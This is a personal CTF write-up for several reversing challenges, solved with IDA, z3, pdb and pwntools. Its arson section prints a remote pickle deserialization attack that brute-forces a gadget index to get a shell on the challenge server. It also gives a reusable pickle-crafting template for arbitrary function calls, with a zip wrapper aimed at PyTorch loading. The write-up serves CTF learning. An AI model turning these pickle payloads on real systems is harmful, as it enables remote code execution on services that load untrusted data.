Page MenuHomedesp's stash

dicehope22.md
No OneTemporary

dicehope22.md

### sequence
extract check codes from IDA
change if to equals
```c
#include <stdio.h>
int main() {
int v2[6];
v2[0] = 12;
for (int i = 1; i <= 5; ++i ) {
v2[i] = (3 * v2[i - 1] + 7) % 16;
}
for(int i = 0; i < 6; i++) {
//printf("%c", ((char*) v2)[i]);
printf("%d ", v2[i]);
}
return 0;
}
```
put the ints back in and grab the flag from remote
`hope{definitely_solvable_with_angr}`
### check
dynamic debug stop before strcmp
(no solve script lmao literally just breakpoint and check IDA locals)
`hope{oops_all_flag_checkers_64961defe21b15e8}`
### zzz
tried using ponce, gave up manually negate and injecting and used z3 instead
with a bit of regex to change the conditions we can get this easily
(do remember to add the printable char constraint though or else it wouldnt give the correct flag)
```py
from z3 import *
v = [BitVec('char ' + str(i), 8) for i in range(59)]
s = Solver()
s.add((v[0] - 33) <= 0x5D)
s.add((v[5] - 33) <= 0x5D)
s.add((v[6] - 33) <= 0x5D)
s.add((v[7] - 33) <= 0x5D)
s.add((v[8] - 33) <= 0x5D)
s.add((v[9] - 33) <= 0x5D)
s.add((v[10] - 33) <= 0x5D)
s.add((v[11] - 33) <= 0x5D)
s.add((v[12] - 33) <= 0x5D)
s.add((v[13] - 33) <= 0x5D)
s.add((v[14] - 33) <= 0x5D)
s.add((v[15] - 33) <= 0x5D)
s.add((v[16] - 33) <= 0x5D)
s.add((v[17] - 33) <= 0x5D)
s.add((v[18] - 33) <= 0x5D)
s.add((v[19] - 33) <= 0x5D)
s.add((v[20] - 33) <= 0x5D)
s.add((v[21] - 33) <= 0x5D)
s.add((v[22] - 33) <= 0x5D)
s.add((v[23] - 33) <= 0x5D)
s.add((v[24] - 33) <= 0x5D)
s.add((v[25] - 33) <= 0x5D)
s.add((v[26] - 33) <= 0x5D)
s.add((v[27] - 33) <= 0x5D)
s.add((v[28] - 33) <= 0x5D)
s.add((v[29] - 33) <= 0x5D)
s.add((v[30] - 33) <= 0x5D)
s.add((v[31] - 33) <= 0x5D)
s.add((v[32] - 33) <= 0x5D)
s.add((v[33] - 33) <= 0x5D)
s.add((v[34] - 33) <= 0x5D)
s.add((v[35] - 33) <= 0x5D)
s.add((v[36] - 33) <= 0x5D)
s.add((v[37] - 33) <= 0x5D)
s.add((v[38] - 33) <= 0x5D)
s.add((v[39] - 33) <= 0x5D)
s.add((v[40] - 33) <= 0x5D)
s.add((v[41] - 33) <= 0x5D)
s.add((v[42] - 33) <= 0x5D)
s.add((v[43] - 33) <= 0x5D)
s.add((v[44] - 33) <= 0x5D)
s.add((v[45] - 33) <= 0x5D)
s.add((v[46] - 33) <= 0x5D)
s.add((v[47] - 33) <= 0x5D)
s.add((v[48] - 33) <= 0x5D)
s.add((v[49] - 33) <= 0x5D)
s.add((v[50] - 33) <= 0x5D)
s.add((v[51] - 33) <= 0x5D)
s.add((v[52] - 33) <= 0x5D)
s.add((v[53] - 33) <= 0x5D)
s.add((v[54] - 33) <= 0x5D)
s.add((v[55] - 33) <= 0x5D)
s.add((v[56] - 33) <= 0x5D)
s.add((v[57] - 33) <= 0x5D)
s.add(v[6] == 112)
s.add(v[5] == 111)
s.add((v[58] - 33) <= 0x5D)
s.add(v[0] == 104)
s.add(v[7] == 101)
s.add((v[48] ^ v[23]) == 3)
s.add((v[53] ^ v[56]) == 7)
s.add(v[9] <= v[32])
s.add((v[47] ^ v[11]) == 13)
s.add(v[21] + v[17] == 212)
s.add(v[36] - v[44] == 66)
s.add(v[22] != 104)
s.add((v[29] ^ v[10]) == 3)
s.add((v[50] ^ v[33]) == 91)
s.add(v[24] != v[43])
s.add((v[25] ^ v[28]) == 11)
s.add(v[40] == 103)
s.add(v[55] != 111)
s.add(v[41] + v[13] == 199)
s.add(v[39] - v[19] == 15)
s.add((v[52] ^ v[8]) == 79)
s.add(v[14] >= v[27])
s.add(v[42] >= v[57])
s.add(v[26] <= v[58])
s.add(v[54] + v[34] == 146)
s.add(v[30] - v[20] == 19)
s.add(v[15] >= v[46])
s.add(v[18] != v[31])
s.add(v[12] == 103)
s.add(v[45] + v[16] == 205)
s.add(v[35] - v[51] == 21)
s.add(v[38] >= v[49])
s.add(v[37] - v[16] == 19)
s.add((v[46] ^ v[14]) == 68)
s.add(v[47] + v[31] == 195)
s.add(v[26] != v[58])
s.add((v[52] ^ v[29]) == 91)
s.add(v[27] + v[8] == 218)
s.add(v[41] != 112)
s.add(v[48] + v[56] == 149)
s.add(v[15] == 95)
s.add(v[18] == 116)
s.add(v[23] != 103)
s.add(v[20] + v[36] == 222)
s.add(v[42] == 101)
s.add(v[9] != v[38])
s.add(v[13] != v[54])
s.add(v[22] + v[28] == 218)
s.add(v[50] >= v[57])
s.add(v[10] - v[19] == 13)
s.add(v[53] <= 0x6F)
s.add(v[39] != v[55])
s.add((v[49] ^ v[45]) == 86)
s.add(v[11] >= v[44])
s.add(v[21] + v[51] == 202)
s.add(v[37] + v[17] == 233)
s.add(v[9] <= v[13])
s.add(v[25] >= v[46])
s.add(v[24] != v[25])
s.add(v[33] - v[32] == 4)
s.add(v[30] != v[34])
s.add(v[35] >= v[43])
s.add(v[8] != v[26])
s.add(v[23] <= v[36])
s.add(v[27] + v[47] == 195)
s.add(v[34] == 95)
s.add(v[43] == 49)
s.add(v[57] == 54)
s.add(v[32] != v[44])
s.add(v[37] != v[49])
s.add(v[48] <= v[51])
s.add((v[52] ^ v[21]) == 81)
s.add(v[54] <= v[55])
s.add(v[30] <= v[35])
s.add(v[19] >= v[41])
s.add(v[45] + v[20] == 202)
s.add(v[17] != v[58])
s.add(v[16] <= v[33])
s.add((v[56] ^ v[29]) == 92)
s.add(v[11] <= v[14])
s.add((v[53] ^ v[28]) == 90)
s.add(v[39] + v[31] == 205)
s.add(v[38] == 105)
s.add((v[24] ^ v[10]) == 21)
s.add(v[50] == 54)
s.add(v[22] != v[33])
s.add(v[22] + v[54] == 159)
s.add(v[27] != 103)
s.add(v[49] != 54)
s.add(v[41] + v[30] == 214)
s.add(v[36] != v[52])
s.add(v[11] <= v[35])
s.add((v[32] ^ v[23]) == 8)
s.add(v[20] >= v[55])
s.add(v[14] != v[17])
s.add(v[8] - v[19] == 28)
s.add(v[13] - v[16] == 1)
s.add(v[21] <= v[29])
s.add(v[37] - v[26] == 22)
s.add(v[24] - v[46] == 73)
s.add(v[48] != 105)
s.add(v[9] != 101)
s.add((v[58] ^ v[28]) == 19)
s.add(v[25] != v[53])
s.add(v[44] > 0x30)
s.add(v[31] == 95)
s.add(v[56] == 51)
s.add(v[51] + v[39] == 211)
s.add(v[45] == 102)
s.add(v[47] >= v[57])
s.add(v[10] == 108)
s.add(v[21] - v[44] == 45)
s.add(v[11] + v[17] == 216)
s.add(v[16] == 103)
s.add(v[32] > 0x66)
s.add(v[14] + v[54] == 167)
s.add(v[23] >= v[49])
s.add(v[30] == 119)
s.add((v[48] ^ v[28]) == 12)
s.add(v[36] != v[55])
s.add(v[13] != v[53])
s.add(v[46] == 48)
s.add(v[29] == 111)
s.add(v[27] != v[51])
s.add(v[26] == 100)
s.add(v[35] == 122)
s.add(v[58] - v[8] == 2)
s.add(v[20] == 100)
s.add(v[41] == 95)
s.add(v[24] == 121)
s.add(v[19] >= v[52])
s.add((v[25] ^ v[37]) == 31)
s.add(v[11] == 105)
s.add(v[33] == 109)
s.add(v[22] - v[9] == 6)
s.add(v[39] != 51)
s.add(v[47] == 100)
s.add(v[27] == 95)
s.add(v[37] != 100)
s.add(v[22] == 108)
s.add(v[32] > 0x68)
s.add(v[53] > 0x32)
s.add(v[17] == 111)
s.add(v[8] >= v[54])
s.add(v[28] + v[36] == 232)
s.add(v[49] != 116)
s.add(v[9] == 102)
s.add(v[57] <= 0x79)
s.add(v[52] <= 0x7A)
s.add(v[39] != 102)
s.add((v[58] ^ v[44]) == 69)
s.add(v[41] == 95)
s.add(v[25] > 0x30)
s.add(v[23] == 97)
s.add(v[48] == 98)
s.add(v[55] + v[14] == 170)
s.add(v[19] <= 0x6F)
s.add(v[21] == 101)
s.add(v[51] == 101)
s.add(v[51] + v[13] == 205)
s.add(v[22] != 101)
s.add(v[55] == 54)
s.add(v[39] == 110)
s.add(v[8] - v[14] == 7)
s.add(v[25] == 101)
s.add((v[44] ^ v[37]) == 66)
s.add(v[54] == 51)
s.add(v[58] > 0x6E)
s.add(v[52] == 52)
s.add(v[13] == 104)
s.add(v[14] == 116)
s.add(v[49] == 48)
s.add(v[36] == 122)
s.add(v[57] > 0x35)
s.add(v[8] >= v[22])
s.add((v[28] - 101) <= 0x14)
s.add(v[19] == 95)
s.add(v[58] == 125)
s.add(v[32] >= v[44])
s.add(v[37] > 0x61)
s.add(v[58] != 122)
s.add(v[53] == 52)
s.add(v[44] == 56)
s.add(v[52] == 52)
s.add(v[32] == 105)
s.add(v[22] == 108)
s.add(v[53] == 52)
s.add(v[8] == 123)
for i in v:
s.add(i >= 0x20)
s.add(i <= 0x7D)
s.check()
model = s.model()
for i in v:
if str(model[i]) is not 'None':
print(chr(int(str(model[i]))), end='')
#print([chr(int(str(model[i]))) for i in v if model[i]])
```
`hope{flight_got_delayed_now_im_zzzing_e18f0db06e443636}`
### better-llvm
chall looked like a vm of some sorts with the switch table, which looks kinda yikes to reverse
none of the codes seem to be affected by our input though so we can probably get the state when all of the stuff finishes computing
considering this is basically a python program i figured might as well try getting context by editing the python string at the end to run our own codes
```py
with open('betterllvm', 'rb') as orig:
ostr = b"if dicegang():\n print('ok fine you got the flag')\nelse:\n print('nope >:)')"
nstr = b'import pdb; pdb.runcall(dicegang)' #b'breakpoint()'
data = orig.read()
idx = data.find(ostr)
with open('betterllvm-edit', 'wb') as new:
towrite = data[:idx] + nstr + b"\0"*(len(ostr) - len(nstr)) + data[idx + len(ostr):]
assert len(towrite) == len(data)
new.write(towrite)
```
breakpoint() worked but i couldnt get enough info to decompile to generated dicegang() function code (dis breaks, unmarshallable, co_code doesnt work with any decompilers)
so i tried doing dynamic analysis with pdb stepping but broke until i switched out breakpoint() with `pdb.runcall(dicegang)`
then i realized the flagchecker has patterns which looks very doable with instruction counting
then its basically just the gdb method ive been using so many times
flag get pog `hope{CPYTHON_ISjvmV2}`
```py
from pwn import *
import string
context.log_level = 'ERROR'
flag = 'hope{'
while len(flag) < 21:
for c in string.printable:
if c in '{\t ~}|' or c is flag[-1]: #somehow it also clears if you use the previous char or some random chars
continue
p = process('betterllvm-edit')
p.recvuntil(b'>:)')
p.sendline(flag + c * (21 - len(flag)))
p.recvuntil(b'Pdb')
p.sendline(b's') #2 and 3 only runs once
p.recvuntil(b'Pdb')
count = 0
try:
while True:
for i in range(4): #4 5 4 6
p.sendline('s')
p.recvuntil('Pdb')
count += 1
except EOFError:
p.close()
print(count, c, flag)
if count > len(flag):
flag += c
break
```
### arson
i actually solved this before betterllvm but im putting it here since i tried solving reckless arson after betterllvm and they are similar stuff
used angstrom solve pickle and changed empty to torch
everything worked after i changed index of `os.wrap_close` to match remote with a brute force lmfao idk why that worked
```py
from pwn import *
for i in [133]: #range(100, 150): #get around 134 and see if any looks like it got a shell
s = remote('mc.ax', 31064)
s.recvuntil('Enter')
payload = base64.b64encode(pkl(i))
print(payload)
s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
# print(i, s.recvall(timeout=1))
# s.close()
s.interactive()
```
i basically just stared at this until it looks like it got a shell
and it turns out to be 133 instead of 134 like my local
(turns out thats an unintended solution? reckless arson did curb my payload by forcing us to use `_load` instead of `_legacy_load`)
`hope{pr1ckly_pickl3s}`
(see angstrom kevin higgs for more info)
didnt solve reckless arson, but [@Robert](https://maplebacon.org/authors/Nneonneo/) gave me a really nice pickle crafting template which is way easier to understand than angstrom's
```py
from pickle import *
import struct
import pickletools
def flatten(x, res=None):
if res is None:
res = bytearray()
if isinstance(x, bytes):
res += x
else:
for r in x:
flatten(r, res)
return res
def put(x):
return [BINPUT, struct.pack('<B', x)]
def get(x):
return [BINGET, struct.pack('<B', x)]
def getglobal(fqn):
module, name = fqn.rsplit(".", 1)
return [GLOBAL, module.encode('utf8'), b'\n', name.encode('utf8'), b'\n']
def pstr(x):
x = x.encode()
return [SHORT_BINUNICODE, len(x).to_bytes(1, byteorder='little'), x]
def pdict(*x):
return [MARK, x, DICT]
def ptuple(*x):
return [MARK, x, TUPLE]
def pkl():
p = [PROTO, b'\x03',
pstr('collections'), MEMOIZE,
pstr('OrderedDict'), MEMOIZE,
STACK_GLOBAL, #fetch collections.OrderedDict class
ptuple(pdict(pstr('test'), pstr('test'))),
REDUCE, #call constructor with OrderedDict({'test': 'test'}) and push on stack
ptuple(NONE, pdict(pstr('__setstate__'), pstr('test'))),
BUILD, #call setattr(odict, '__setstate__', 'test') (__dict__.update if operating directly on pdict without ptuple)
ptuple(NONE, pdict(pstr('__setstate__'), pstr('test'))), #dummy push to stack
BUILD, #since BUILD calls __setstate__ if it exists, this runs 'test'() that we built with the previous BUILD (which fails in this case but allows arbitrary function calls)
STOP
]
p = flatten(p)
s = len(p) - 2
s = s.to_bytes(8, byteorder='little')
p = p[:2] + FRAME + s + p[2:] #frame size
#p = bytearray(dumps(craft(collections.OrderedDict, (attr('builtins'), ))))
print(p)
print(pickletools.dis(p))
return p
```
with this i can build basically directly matching `pickletools.dis`
reference https://github.com/python/cpython/blob/main/Lib/pickletools.py for how the stack operates
oh and to get pytorch to use non legacy load just wrap it in a zip stream
```py
def zipbytes(inp):
with io.BytesIO() as b:
with zipfile.ZipFile(b, 'w', zipfile.ZIP_DEFLATED) as w:
w.writestr('data/data.pkl', inp)
w.writestr('data/version', '1')
b.seek(0)
out = b.read()
return out
```

File Metadata

Mime Type
text/x-python
Expires
Mon, Aug 4, 9:32 PM (17 h, 38 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
cf/87/06c151e4dd9f0e63f035d3d4519d

Event Timeline